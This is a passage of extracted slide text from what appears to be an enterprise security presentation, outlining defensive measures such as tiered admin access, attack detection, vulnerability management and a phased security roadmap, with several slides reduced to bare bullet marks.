- 168. Identification of missing system updates across data centers or in a public cloud Comprehensive view into your organization’s IT security posture Collect security related events Comprehensive updates assessment across datacenters and public clouds Detection of breaches and threats with malware assessment Perform forensic, audit and breach analysis
- 169. ▪ ▪ ▪
- 170. ▪ ▪ ▪ ▪ ▪ ▪
- 171. ▪ ▪ ▪ ▪ ▪
- 172. ▪ ▪ ▪ ▪ ▪
- 173. ▪ ▪
- 174. ▪ ▪ ▪
- 175. Tier 2 Workstation & Device Admins Tier 0 Domain & Enterprise Admins Tier 1 Server Admins 2. Restrict Lateral Movement a. Random Local Password 1. Restrict Privilege Escalation a. Privileged Access Workstations b. Assess AD Security 4. Organizational Preparation a. Strategic Roadmap b. Technical Education Restrict Lateral Movement Restrict Privilege Escalation Attack Detection Advanced Threat Analytics (ATA) Hunt for Adversaries 3. Attack Detection a. Attack Detection b. Hunt for Adversaries Organizational Preparation Education Strategy & Integration
- 176. Vulnerability Management Continuous vulnerability discovery Context-Aware Analysis Prioritization Remediation and Tracking Put on the Hacker’s Shoes External + Internal + Web Penetration tests Configuration reviews Prevention
- 177. Secure Platform (secure by design) SECURE MODERN ENTERPRISE Identity Apps and Data Infrastructure Devices Phase 2: Secure the Pillars Phase 1: Build the Security Foundation Start the journey by getting in front of current attacks • Critical Mitigations – Critical attack protections • Attack Detection – Hunt for hidden persistent adversaries and implement critical attack detection • Roadmap and planning – Share Microsoft insight on current attacks and strategies, build a tailored roadmap to defend your organization’s business value and mission Phase 1: Build Security Foundation – Critical Attack Defenses Phase 2: Secure the Pillars Continue building a secure modern enterprise by adopting leading edge technology and approaches: • Threat Detection – Integrate leading edge intelligence and Managed detection and response (MDR) capabilities • Privileged Access – continue reducing risk to business critical identities and assets • Cloud Security Risk – Chart a secure path into a cloud- enabled enterprise • SaaS / Shadow IT Risk – Discover, protect, and monitor your critical data in the cloud • Device & Datacenter Security – Hardware protections for Devices, Credentials, Servers, and Applications • App/Dev Security – Secure your development practices and digital transformation components